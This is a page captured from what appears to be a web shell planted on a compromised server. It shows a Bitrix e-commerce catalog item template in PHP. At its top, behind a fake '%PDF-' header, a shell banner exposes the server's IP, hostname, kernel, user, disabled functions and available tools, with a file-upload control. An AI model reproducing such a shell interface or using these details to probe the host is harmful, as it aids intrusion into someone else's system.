%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.137.200.112 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/imag/24/bitrix/templates/artantiq/components/bitrix/catalog.item/catalog_item/ |
Upload File : |
<? if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die(); use \Bitrix\Main; /** * @global CMain $APPLICATION * @var array $arParams * @var array $arResult * @var CatalogProductsViewedComponent $component * @var CBitrixComponentTemplate $this * @var string $templateName * @var string $componentPath * @var string $templateFolder */ $this->setFrameMode(true); if (isset($arResult['ITEM'])) { $item = $arResult['ITEM']; $areaId = $arResult['AREA_ID']; $itemIds = array( 'ID' => $areaId, 'PICT' => $areaId.'_pict', 'SECOND_PICT' => $areaId.'_secondpict', 'PICT_SLIDER' => $areaId.'_pict_slider', 'STICKER_ID' => $areaId.'_sticker', 'SECOND_STICKER_ID' => $areaId.'_secondsticker', 'QUANTITY' => $areaId.'_quantity', 'QUANTITY_DOWN' => $areaId.'_quant_down', 'QUANTITY_UP' => $areaId.'_quant_up', 'QUANTITY_MEASURE' => $areaId.'_quant_measure', 'QUANTITY_LIMIT' => $areaId.'_quant_limit', 'BUY_LINK' => $areaId.'_buy_link', 'BASKET_ACTIONS' => $areaId.'_basket_actions', 'NOT_AVAILABLE_MESS' => $areaId.'_not_avail', 'SUBSCRIBE_LINK' => $areaId.'_subscribe', 'COMPARE_LINK' => $areaId.'_compare_link', 'PRICE' => $areaId.'_price', 'PRICE_OLD' => $areaId.'_price_old', 'PRICE_TOTAL' => $areaId.'_price_total', 'DSC_PERC' => $areaId.'_dsc_perc', 'SECOND_DSC_PERC' => $areaId.'_second_dsc_perc', 'PROP_DIV' => $areaId.'_sku_tree', 'PROP' => $areaId.'_prop_', 'DISPLAY_PROP_DIV' => $areaId.'_sku_prop', 'BASKET_PROP_DIV' => $areaId.'_basket_prop', ); $obName = 'ob'.preg_replace("/[^a-zA-Z0-9_]/", "x", $areaId); $isBig = isset($arResult['BIG']) && $arResult['BIG'] === 'Y'; $productTitle = isset($item['IPROPERTY_VALUES']['ELEMENT_PAGE_TITLE']) && $item['IPROPERTY_VALUES']['ELEMENT_PAGE_TITLE'] != '' ? $item['IPROPERTY_VALUES']['ELEMENT_PAGE_TITLE'] : $item['NAME']; $imgTitle = isset($item['IPROPERTY_VALUES']['ELEMENT_PREVIEW_PICTURE_FILE_TITLE']) && $item['IPROPERTY_VALUES']['ELEMENT_PREVIEW_PICTURE_FILE_TITLE'] != '' ? $item['IPROPERTY_VALUES']['ELEMENT_PREVIEW_PICTURE_FILE_TITLE'] : $item['NAME']; $skuProps = array(); $haveOffers = !empty($item['OFFERS']); if ($haveOffers) { $actualItem = isset($item['OFFERS'][$item['OFFERS_SELECTED']]) ? $item['OFFERS'][$item['OFFERS_SELECTED']] : reset($item['OFFERS']); } else { $actualItem = $item; } $morePhoto = null; if ($arParams['PRODUCT_DISPLAY_MODE'] === 'N' && $haveOffers) { $price = $item['ITEM_START_PRICE']; $minOffer = $item['OFFERS'][$item['ITEM_START_PRICE_SELECTED']]; $measureRatio = $minOffer['ITEM_MEASURE_RATIOS'][$minOffer['ITEM_MEASURE_RATIO_SELECTED']]['RATIO']; if (isset($item['MORE_PHOTO'])) { $morePhoto = $item['MORE_PHOTO']; } } else { $price = $actualItem['ITEM_PRICES'][$actualItem['ITEM_PRICE_SELECTED']]; $measureRatio = $price['MIN_QUANTITY']; if (isset($actualItem['MORE_PHOTO'])) { $morePhoto = $actualItem['MORE_PHOTO']; } } $showSlider = is_array($morePhoto) && count($morePhoto) > 1; $showSubscribe = $arParams['PRODUCT_SUBSCRIPTION'] === 'Y' && ($item['CATALOG_SUBSCRIBE'] === 'Y' || $haveOffers); $discountPositionClass = isset($arResult['BIG_DISCOUNT_PERCENT']) && $arResult['BIG_DISCOUNT_PERCENT'] === 'Y' ? 'product-item-label-big' : 'product-item-label-small'; $discountPositionClass .= $arParams['DISCOUNT_POSITION_CLASS']; $labelPositionClass = isset($arResult['BIG_LABEL']) && $arResult['BIG_LABEL'] === 'Y' ? 'product-item-label-big' : 'product-item-label-small'; $labelPositionClass .= $arParams['LABEL_POSITION_CLASS']; $buttonSizeClass = isset($arResult['BIG_BUTTONS']) && $arResult['BIG_BUTTONS'] === 'Y' ? 'btn-md' : 'btn-sm'; $itemHasDetailUrl = isset($item['DETAIL_PAGE_URL']) && $item['DETAIL_PAGE_URL'] != ''; ?> <? $documentRoot = Main\Application::getDocumentRoot(); $templatePath = mb_strtolower($arResult['TYPE']).'/template.php'; $file = new Main\IO\File($documentRoot.$templateFolder.'/'.$templatePath); if ($file->isExists()) { include($file->getPath()); } if (!$haveOffers) { $jsParams = array( 'PRODUCT_TYPE' => $item['PRODUCT']['TYPE'], 'SHOW_QUANTITY' => $arParams['USE_PRODUCT_QUANTITY'], 'SHOW_ADD_BASKET_BTN' => false, 'SHOW_BUY_BTN' => true, 'SHOW_ABSENT' => true, 'SHOW_OLD_PRICE' => $arParams['SHOW_OLD_PRICE'] === 'Y', 'ADD_TO_BASKET_ACTION' => $arParams['ADD_TO_BASKET_ACTION'], 'SHOW_CLOSE_POPUP' => $arParams['SHOW_CLOSE_POPUP'] === 'Y', 'SHOW_DISCOUNT_PERCENT' => $arParams['SHOW_DISCOUNT_PERCENT'] === 'Y', 'DISPLAY_COMPARE' => $arParams['DISPLAY_COMPARE'], 'BIG_DATA' => $item['BIG_DATA'], 'TEMPLATE_THEME' => $arParams['TEMPLATE_THEME'], 'VIEW_MODE' => $arResult['TYPE'], 'USE_SUBSCRIBE' => $showSubscribe, 'PRODUCT' => array( 'ID' => $item['ID'], 'NAME' => $productTitle, 'DETAIL_PAGE_URL' => $item['DETAIL_PAGE_URL'], 'PICT' => $item['SECOND_PICT'] ? $item['PREVIEW_PICTURE_SECOND'] : $item['PREVIEW_PICTURE'], 'CAN_BUY' => $item['CAN_BUY'], 'CHECK_QUANTITY' => $item['CHECK_QUANTITY'], 'MAX_QUANTITY' => $item['CATALOG_QUANTITY'], 'STEP_QUANTITY' => $item['ITEM_MEASURE_RATIOS'][$item['ITEM_MEASURE_RATIO_SELECTED']]['RATIO'], 'QUANTITY_FLOAT' => is_float($item['ITEM_MEASURE_RATIOS'][$item['ITEM_MEASURE_RATIO_SELECTED']]['RATIO']), 'ITEM_PRICE_MODE' => $item['ITEM_PRICE_MODE'], 'ITEM_PRICES' => $item['ITEM_PRICES'], 'ITEM_PRICE_SELECTED' => $item['ITEM_PRICE_SELECTED'], 'ITEM_QUANTITY_RANGES' => $item['ITEM_QUANTITY_RANGES'], 'ITEM_QUANTITY_RANGE_SELECTED' => $item['ITEM_QUANTITY_RANGE_SELECTED'], 'ITEM_MEASURE_RATIOS' => $item['ITEM_MEASURE_RATIOS'], 'ITEM_MEASURE_RATIO_SELECTED' => $item['ITEM_MEASURE_RATIO_SELECTED'], 'MORE_PHOTO' => $item['MORE_PHOTO'], 'MORE_PHOTO_COUNT' => $item['MORE_PHOTO_COUNT'] ), 'BASKET' => array( 'ADD_PROPS' => $arParams['ADD_PROPERTIES_TO_BASKET'] === 'Y', 'QUANTITY' => $arParams['PRODUCT_QUANTITY_VARIABLE'], 'PROPS' => $arParams['PRODUCT_PROPS_VARIABLE'], 'EMPTY_PROPS' => empty($item['PRODUCT_PROPERTIES']), 'BASKET_URL' => $arParams['~BASKET_URL'], 'ADD_URL_TEMPLATE' => $arParams['~ADD_URL_TEMPLATE'], 'BUY_URL_TEMPLATE' => $arParams['~BUY_URL_TEMPLATE'] ), 'VISUAL' => array( 'ID' => $itemIds['ID'], 'PICT_ID' => $item['SECOND_PICT'] ? $itemIds['SECOND_PICT'] : $itemIds['PICT'], 'PICT_SLIDER_ID' => $itemIds['PICT_SLIDER'], 'QUANTITY_ID' => $itemIds['QUANTITY'], 'QUANTITY_UP_ID' => $itemIds['QUANTITY_UP'], 'QUANTITY_DOWN_ID' => $itemIds['QUANTITY_DOWN'], 'PRICE_ID' => $itemIds['PRICE'], 'PRICE_OLD_ID' => $itemIds['PRICE_OLD'], 'PRICE_TOTAL_ID' => $itemIds['PRICE_TOTAL'], 'BUY_ID' => $itemIds['BUY_LINK'], 'BASKET_PROP_DIV' => $itemIds['BASKET_PROP_DIV'], 'BASKET_ACTIONS_ID' => $itemIds['BASKET_ACTIONS'], 'NOT_AVAILABLE_MESS' => $itemIds['NOT_AVAILABLE_MESS'], 'COMPARE_LINK_ID' => $itemIds['COMPARE_LINK'], 'SUBSCRIBE_ID' => $itemIds['SUBSCRIBE_LINK'] ) ); } else { $jsParams = array( 'PRODUCT_TYPE' => $item['PRODUCT']['TYPE'], 'SHOW_QUANTITY' => false, 'SHOW_ADD_BASKET_BTN' => false, 'SHOW_BUY_BTN' => true, 'SHOW_ABSENT' => true, 'SHOW_SKU_PROPS' => false, 'SECOND_PICT' => $item['SECOND_PICT'], 'SHOW_OLD_PRICE' => $arParams['SHOW_OLD_PRICE'] === 'Y', 'SHOW_MAX_QUANTITY' => $arParams['SHOW_MAX_QUANTITY'], 'RELATIVE_QUANTITY_FACTOR' => $arParams['RELATIVE_QUANTITY_FACTOR'], 'SHOW_DISCOUNT_PERCENT' => $arParams['SHOW_DISCOUNT_PERCENT'] === 'Y', 'ADD_TO_BASKET_ACTION' => $arParams['ADD_TO_BASKET_ACTION'], 'SHOW_CLOSE_POPUP' => $arParams['SHOW_CLOSE_POPUP'] === 'Y', 'DISPLAY_COMPARE' => $arParams['DISPLAY_COMPARE'], 'BIG_DATA' => $item['BIG_DATA'], 'TEMPLATE_THEME' => $arParams['TEMPLATE_THEME'], 'VIEW_MODE' => $arResult['TYPE'], 'USE_SUBSCRIBE' => $showSubscribe, 'DEFAULT_PICTURE' => array( 'PICTURE' => $item['PRODUCT_PREVIEW'], 'PICTURE_SECOND' => $item['PRODUCT_PREVIEW_SECOND'] ), 'VISUAL' => array( 'ID' => $itemIds['ID'], 'PICT_ID' => $itemIds['PICT'], 'SECOND_PICT_ID' => $itemIds['SECOND_PICT'], 'PICT_SLIDER_ID' => $itemIds['PICT_SLIDER'], 'QUANTITY_ID' => $itemIds['QUANTITY'], 'QUANTITY_UP_ID' => $itemIds['QUANTITY_UP'], 'QUANTITY_DOWN_ID' => $itemIds['QUANTITY_DOWN'], 'QUANTITY_MEASURE' => $itemIds['QUANTITY_MEASURE'], 'QUANTITY_LIMIT' => $itemIds['QUANTITY_LIMIT'], 'PRICE_ID' => $itemIds['PRICE'], 'PRICE_OLD_ID' => $itemIds['PRICE_OLD'], 'PRICE_TOTAL_ID' => $itemIds['PRICE_TOTAL'], 'TREE_ID' => $itemIds['PROP_DIV'], 'TREE_ITEM_ID' => $itemIds['PROP'], 'BUY_ID' => $itemIds['BUY_LINK'], 'DSC_PERC' => $itemIds['DSC_PERC'], 'SECOND_DSC_PERC' => $itemIds['SECOND_DSC_PERC'], 'DISPLAY_PROP_DIV' => $itemIds['DISPLAY_PROP_DIV'], 'BASKET_ACTIONS_ID' => $itemIds['BASKET_ACTIONS'], 'NOT_AVAILABLE_MESS' => $itemIds['NOT_AVAILABLE_MESS'], 'COMPARE_LINK_ID' => $itemIds['COMPARE_LINK'], 'SUBSCRIBE_ID' => $itemIds['SUBSCRIBE_LINK'] ), 'BASKET' => array( 'QUANTITY' => $arParams['PRODUCT_QUANTITY_VARIABLE'], 'PROPS' => $arParams['PRODUCT_PROPS_VARIABLE'], 'SKU_PROPS' => $item['OFFERS_PROP_CODES'], 'BASKET_URL' => $arParams['~BASKET_URL'], 'ADD_URL_TEMPLATE' => $arParams['~ADD_URL_TEMPLATE'], 'BUY_URL_TEMPLATE' => $arParams['~BUY_URL_TEMPLATE'] ), 'PRODUCT' => array( 'ID' => $item['ID'], 'NAME' => $productTitle, 'DETAIL_PAGE_URL' => $item['DETAIL_PAGE_URL'], 'MORE_PHOTO' => $item['MORE_PHOTO'], 'MORE_PHOTO_COUNT' => $item['MORE_PHOTO_COUNT'] ), 'OFFERS' => array(), 'OFFER_SELECTED' => 0, 'TREE_PROPS' => array() ); if ($arParams['PRODUCT_DISPLAY_MODE'] === 'Y' && !empty($item['OFFERS_PROP'])) { $jsParams['SHOW_QUANTITY'] = $arParams['USE_PRODUCT_QUANTITY']; $jsParams['SHOW_SKU_PROPS'] = $item['OFFERS_PROPS_DISPLAY']; $jsParams['OFFERS'] = $item['JS_OFFERS']; $jsParams['OFFER_SELECTED'] = $item['OFFERS_SELECTED']; $jsParams['TREE_PROPS'] = $skuProps; } } if ($arParams['DISPLAY_COMPARE']) { $jsParams['COMPARE'] = array( 'COMPARE_URL_TEMPLATE' => $arParams['~COMPARE_URL_TEMPLATE'], 'COMPARE_DELETE_URL_TEMPLATE' => $arParams['~COMPARE_DELETE_URL_TEMPLATE'], 'COMPARE_PATH' => $arParams['COMPARE_PATH'] ); } if ($item['BIG_DATA']) { $jsParams['PRODUCT']['RCM_ID'] = $item['RCM_ID']; } $jsParams['PRODUCT_DISPLAY_MODE'] = $arParams['PRODUCT_DISPLAY_MODE']; $jsParams['USE_ENHANCED_ECOMMERCE'] = $arParams['USE_ENHANCED_ECOMMERCE']; $jsParams['DATA_LAYER_NAME'] = $arParams['DATA_LAYER_NAME']; $jsParams['BRAND_PROPERTY'] = !empty($item['DISPLAY_PROPERTIES'][$arParams['BRAND_PROPERTY']]) ? $item['DISPLAY_PROPERTIES'][$arParams['BRAND_PROPERTY']]['DISPLAY_VALUE'] : null; $templateData = array( 'JS_OBJ' => $obName, 'ITEM' => array( 'ID' => $item['ID'], 'IBLOCK_ID' => $item['IBLOCK_ID'], 'OFFERS_SELECTED' => $item['OFFERS_SELECTED'], 'JS_OFFERS' => $item['JS_OFFERS'] ) ); ?> <script> var <?=$obName?> = new JCCatalogItem(<?=CUtil::PhpToJSObject($jsParams, false, true)?>); </script> <? unset($item, $actualItem, $minOffer, $itemIds, $jsParams); }